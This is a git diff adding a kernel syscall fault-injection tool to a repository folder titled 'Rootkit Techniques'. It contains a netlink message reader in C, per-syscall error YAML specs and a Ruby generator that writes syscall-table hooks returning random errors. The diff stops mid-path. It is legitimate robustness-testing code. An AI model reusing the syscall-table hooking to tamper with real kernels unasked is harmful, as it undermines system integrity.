100644 index 0000000..a75988d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c @@ -0,0 +1,5 @@ +int platform_main(int, char **); + +int main(int argc, char *argv[]) { + return platform_main(argc, argv); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c new file mode 100644 index 0000000..ef12f04 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../../common/common.h" + +static sig_atomic_t exiting; + +int open_netlink(void) { + int sock; + struct sockaddr_nl addr; + int group = NETLINK_MYGROUP; + + sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_KRF); + + if (sock < 0) { + if (errno == EPROTONOSUPPORT) { + errx(1, "NETLINK_KRF protocol not found.\n" + "Check to ensure that the KRF module (krfx) is loaded."); + } else { + err(errno, "socket"); + } + } + + memset((void *)&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + addr.nl_pid = getpid(); + /* This doesn't work for some reason. See the setsockopt() below. */ + /* addr.nl_groups = NETLINK_MYGROUP; */ + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + err(1, "Failed to bind socket"); + } + + /* + * 270 is SOL_NETLINK. See + * http://lxr.free-electrons.com/source/include/linux/socket.h?v=4.1#L314 + * and + * http://stackoverflow.com/questions/17732044/ + */ + if (setsockopt(sock, 270, NETLINK_ADD_MEMBERSHIP, &group, sizeof(group)) < 0) { + err(1, "Failed to setsockopt"); + // Will need to be run with sudo + } + + return sock; +} + +void read_event(int sock) { + struct sockaddr_nl nladdr; + char buffer[65536]; + int ret; + struct iovec iov = { + .iov_base = (void *)buffer, + .iov_len = sizeof(buffer), + }; + struct msghdr msg = { + .msg_name = (void *)&(nladdr), + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + ret = recvmsg(sock, &msg, 0); + if (ret < 0) { + err(1, "recvmsg"); + } + printf("%s", (char *)NLMSG_DATA((struct nlmsghdr *)&buffer)); +} + +static void exit_sig(int signo) { + exiting = 1; +} + +int platform_main(int argc, char *argv[]) { + sigaction(SIGINT, &(struct sigaction){.sa_handler = exit_sig}, NULL); + sigaction(SIGTERM, &(struct sigaction){.sa_handler = exit_sig}, NULL); + sigaction(SIGABRT, &(struct sigaction){.sa_handler = exit_sig}, NULL); + + int nls = open_netlink(); + + while (!exiting) { + read_event(nls); + } + + close(nls); + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml new file mode 100644 index 0000000..efb61ae --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct __getcwd_args *uap +parms: td, uap +errors: + - ENODEV + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml new file mode 100644 index 0000000..57f1bd6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct __semctl_args *uap +parms: td, uap +errors: + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml new file mode 100644 index 0000000..ff69005 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct __setugid_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml new file mode 100644 index 0000000..e854c77 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct accept_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - EMFILE + - ENFILE + - ENOTSOCK + - EINVAL + - EFAULT + - EWOULDBLOCK + - EAGAIN + - ECONNABORTED +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml new file mode 100644 index 0000000..cc45a58 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct accept4_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - EMFILE + - ENFILE + - ENOTSOCK + - EINVAL + - EFAULT + - EWOULDBLOCK + - EAGAIN + - ECONNABORTED + - EINVAL +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml new file mode 100644 index 0000000..f59a33a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct access_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - ETXTBSY + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml new file mode 100644 index 0000000..f9b6a43 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct acct_args *uap +parms: td, uap +errors: + - EPERM + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EFAULT + - EIO +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml new file mode 100644 index 0000000..447ef07 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct adjtime_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml new file mode 100644 index 0000000..90e2adc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_cancel_args *uap +parms: td, uap +errors: + - EBADF +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml new file mode 100644 index 0000000..e56906d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_error_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml new file mode 100644 index 0000000..de5ca05 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_fsync_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EINVAL + - EBADF +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml new file mode 100644 index 0000000..3751f90 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct aio_mlock_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml new file mode 100644 index 0000000..64d6bba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct aio_read_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EBADF + - EOVERFLOW + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml new file mode 100644 index 0000000..22522b0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct aio_return_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml new file mode 100644 index 0000000..1e0c1eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct aio_suspend_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EINTR +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml new file mode 100644 index 0000000..8ab0980 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_waitcomplete_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - EINTR + - EWOULDBLOCK + - EINPROGRESS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml new file mode 100644 index 0000000..ffb14bd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct aio_write_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EOPNOTSUPP + - EBADF + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml new file mode 100644 index 0000000..21c77c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct audit_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml new file mode 100644 index 0000000..7cbd420 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct auditctl_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml new file mode 100644 index 0000000..8f09259 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct auditon_args *uap +parms: td, uap +errors: + - ENOSYS + - EFAULT + - EINVAL + - EPERM +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml new file mode 100644 index 0000000..f08b671 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct bind_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EADDRINUSE + - EAFNOSUPPORT + - EACCES + - EFAULT + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EIO + - EROFS + - EISDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml new file mode 100644 index 0000000..12fb787 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct bindat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml new file mode 100644 index 0000000..7e1076b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct chdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EACCES + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml new file mode 100644 index 0000000..7fefc8f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chflags_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml new file mode 100644 index 0000000..c94eeec --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chflagsat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml new file mode 100644 index 0000000..c599b9d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct chmod_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml new file mode 100644 index 0000000..ca4992e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct chown_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml new file mode 100644 index 0000000..061714c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct chroot_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml new file mode 100644 index 0000000..8e83334 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_getcpuclockid2_args *uap +parms: td, uap +errors: + - EPERM + - ESRCH +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml new file mode 100644 index 0000000..2c5bcfe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_getres_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml new file mode 100644 index 0000000..a797d48 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_gettime_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml new file mode 100644 index 0000000..62aed75 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct clock_nanosleep_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EINVAL + - ENOTSUP +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml new file mode 100644 index 0000000..398d18d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct clock_settime_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml new file mode 100644 index 0000000..a4b4afc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct close_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - ENOSPC + - ECONNRESET +profiles: + - io + - net + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml new file mode 100644 index 0000000..2f25042 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct closefrom_args *uap +parms: td, uap +errors: + - EBADF + - EINTR + - ENOSPC + - ECONNRESET +profiles: + - io + - net + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen new file mode 100644 index 0000000..ee8ac4b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen @@ -0,0 +1,120 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +# FreeBSD codegen for KRF +# Like all code generators, this file is ugly. + +require "yaml" + +PLATFORM = `uname -s`.chomp!.downcase! +CONSERVATIVE = (ARGV.shift == "conservative") + +abort "Barf: FreeBSD codegen requested but platform is #{PLATFORM}" if PLATFORM != "freebsd" + +HEADER = <<~HEADER + /* WARNING! + * This file was generated by KRF's codegen. + * Do not edit it by hand. + */ +HEADER + +SYSCALL_SPECS = Dir[File.join(__dir__, "*.yml")] + +SYSCALLS = SYSCALL_SPECS.map do |path| + spec = YAML.safe_load File.read(path) + [File.basename(path, ".yml"), spec] +end.to_h + +SOURCE_DIR = File.expand_path "../../#{PLATFORM}", __dir__ + +def hai(msg) + STDERR.puts "[codegen] #{msg}" +end + +hai "output directory: #{SOURCE_DIR}" + +gen_files = { + krf_x: File.open(File.join(SOURCE_DIR, "krf.gen.x"), "w"), + syscalls_h: File.open(File.join(SOURCE_DIR, "syscalls.gen.h"), "w"), + syscalls_x: File.open(File.join(SOURCE_DIR, "syscalls.gen.x"), "w"), + internal_h: File.open(File.join(SOURCE_DIR, "syscalls", "internal.gen.h"), "w"), +} + +gen_files.each_value { |file| file.puts HEADER } + +SYSCALLS.each do |call, spec| + # Each syscall requires code generation in 5 files: + # 1. krf.gen.x, to tell krf that we're interested in faulting it + # 2. syscalls.gen.h, to prototype the initial wrapper + # 3. syscalls.gen.x, to set up the initial wrapper + # 4. syscalls/internal.gen.h, to prototype the internal wrapper + # 5. syscalls/.gen.c, to set up the actual faulty calls + + name = spec["name"] || call + nr = spec["nr"] || name + number = "SYS_#{nr}" + + hai "#{call} (nr: #{number})" + gen_files[:krf_x].puts <<~KRF_X + krf_faultable_table[#{number}] = (sy_call_t *)&krf_sys_#{call}; + KRF_X + + gen_files[:syscalls_x].puts <<~SYSCALLS_X + int krf_sys_#{call}(#{spec["proto"]}) { + __typeof(sys_#{call}) *real_#{name} = (__typeof(sys_#{call}) *)krf_sys_call_table[#{number}]; + + if (krf_targeted(KRF_TARGETING_PARMS) && (KRF_RNG_NEXT() % krf_probability) == 0) { + return krf_sys_internal_#{call}(#{spec["parms"]}); + } else { + return real_#{name}(#{spec["parms"]}); + } + } + SYSCALLS_X + + gen_files[:syscalls_h].puts <<~SYSCALLS_H + __typeof(sys_#{call}) krf_sys_#{call}; + SYSCALLS_H + + gen_files[:internal_h].puts <<~INTERNAL_H + __typeof(sys_#{call}) krf_sys_internal_#{call}; + INTERNAL_H + + syscall_c = File.join(SOURCE_DIR, "syscalls", "#{call}.gen.c") + File.open(syscall_c, "w") do |file| + file.puts HEADER + file.puts <<~SETUP + #include "internal.h" + + SETUP + + fault_table = [] + errors = spec["errors"] + errors += spec.fetch("unlikely_errors", []) unless CONSERVATIVE + errors.uniq.each do |fault| + fault_table << "krf_sys_internal_#{call}_#{fault}" + + file.puts <<~FAULT + static int krf_sys_internal_#{call}_#{fault}(#{spec["proto"]}) { + if (krf_log_faults) { + uprintf("faulting #{call} with #{fault}\\n"); + } + + return #{fault}; + } + FAULT + end + + file.puts <<~TRAILER + static __typeof(sys_#{call})(*fault_table[]) = { + #{fault_table.join ", "} + }; + + // Fault entrypoint. + int krf_sys_internal_#{call}(#{spec["proto"]}) { + return fault_table[KRF_RNG_NEXT() % NFAULTS](#{spec["parms"]}); + } + TRAILER + end +end + +gen_files.each_value(&:close) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml new file mode 100644 index 0000000..a28f5cc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml @@ -0,0 +1,28 @@ +proto: struct thread *td, struct connect_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENOTSOCK + - EADDRNOTAVAIL + - EAFNOSUPPORT + - EISCONN + - ETIMEDOUT + - ECONNREFUSED + - ECONNRESET + - ENETUNREACH + - EHOSTUNREACH + - EADDRINUSE + - EFAULT + - EINPROGRESS + - EINTR + - EALREADY + - EACCES + - EAGAIN + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EPERM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml new file mode 100644 index 0000000..eadb1dc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct connectat_args *uap +parms: td, uap +errors: + - EBADF + - ENOTDIR +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml new file mode 100644 index 0000000..5f54655 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct cpuset_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - EPERM + - ENFILE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml new file mode 100644 index 0000000..9546eed --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_getaffinity_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml new file mode 100644 index 0000000..3d7c151 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct cpuset_getdomain_args *uap +parms: td, uap +errors: + - EINVAL + - EDEADLK + - EFAULT + - ESRCH + - ERANGE + - EPERM + - ECAPMODE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml new file mode 100644 index 0000000..1da6f86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace 